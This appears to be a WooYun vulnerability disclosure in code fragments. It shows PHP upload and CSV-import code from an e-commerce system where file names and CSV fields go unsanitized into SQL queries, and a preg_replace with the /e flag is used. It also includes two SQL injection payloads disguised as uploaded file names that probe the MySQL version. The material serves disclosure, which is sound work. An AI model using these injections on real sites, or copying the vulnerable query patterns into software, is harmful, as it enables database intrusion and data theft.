WooYun.org

$dbo=new dbex();
	dbtarget('r',$dbServs);
	$file_name=explode(".",$_FILES[$upload_name]['name'][0]);
	/** 根据图片名称获取相应的商品id,是否首图 */
	$tmpsql="select goods_id,is_set,id from $t_tmp_img where img='".$file_name[0]."'";
    $tmpimg= $dbo->getRow($tmpsql);
	if(!isset($tmpimg['goods_id'])||!$tmpimg['goods_id']){
		HandleError("此文件不在csv上传列表中");
		exit;
	}

public function getRow($sql) {
		$result=mysql_query($sql) or die('false getRow, Sql:'.$sql);
		return mysql_fetch_array($result);
	}

if(!isset($tmpimg['goods_id'])||!$tmpimg['goods_id']){
		HandleError("此文件不在csv上传列表中");
		exit;
	}

fei' union select substring((select version()),1,1)=5,2,3#.tbi

fei' union select substring((select version()),1,1)=4,2,3#.tbi

$dbo = new dbex;
	dbtarget("w",$dbServs);
	
	$row=get_shop_info($dbo,$t_shop_info,$shop_id);
	//取得上传的csv文件
	$arr=get_csv_date($_FILES['filename']['tmp_name']);
	
	$errstr="";
	$goods_num=$row['goods_num'];
	foreach ($arr as $k=> $value){
		$sql="insert into $t_goods (shop_id,goods_name,cat_id,ucat_id,type_id,goods_intro,goods_number,goods_price,is_delete,is_best,is_new,is_hot,is_promote,is_on_sale,is_set_image,goods_thumb,add_time,last_update_time,lock_flg) values ";
	    $sql.="('$shop_id','".$value['goods_name']."','$cat_id','0','1','".$value['goods_intro']."','".$value['goods_number']."','".$value['goods_price']."',
	              '1','0','0','0','0','1','0','','".date("Y-m-d H:i:s")."','".date("Y-m-d H:i:s")."','0')";
	    $up=$dbo->exeUpdate($sql);

/**
	 * 解析csv文件
	 */
	function get_csv_date($file_name){
		$str = file_get_contents($file_name);
        if($str{0} != "\xFF" || $str{1} != "\xFE"){
            return false;
        }
        //转码
        $str = unicodeToUtf8(substr($str, 2));
        //切割字符串
        $str = preg_replace('/\t\"([^\t]+?)\"\t/es', "'\t\"' . stripslashes(str_replace(\"\n\", \"\", '\\1')) . '\"\t'", $str);
        $csv_array = explode("\n", $str);
        unset($csv_array[count($csv_array) -1]);
        unset($csv_array[0]);
        $product_array = array();
        if (!empty($csv_array)){
        	
        	foreach ($csv_array as $k => $v){
//        		if ($k > $this->product_batch_num){//判断上传数量不能大于指定数量
//        			break;
//        		}
        		$tmp = explode("\t", $v);
        		//商品名称
        		$tmp['goods_name'] = str_replace("'",'',str_replace('"','',$tmp[0]));
        		//库存
        		$tmp['goods_number'] = intval($tmp[9]);
        		//商品价格
        		$tmp['goods_price'] = number_format($tmp[7],2);
        		
        		if(trim($tmp[35],'"') != ''){
					//图片
					$tmp['image'] = trim($tmp[35],'"');
				}
				//商品简介
        		$tmp['goods_intro'] = str_replace("'",'',str_replace('"','',$tmp[24]));
        		$product_array[] = $tmp;
        	}
        }
        return $product_array;
	}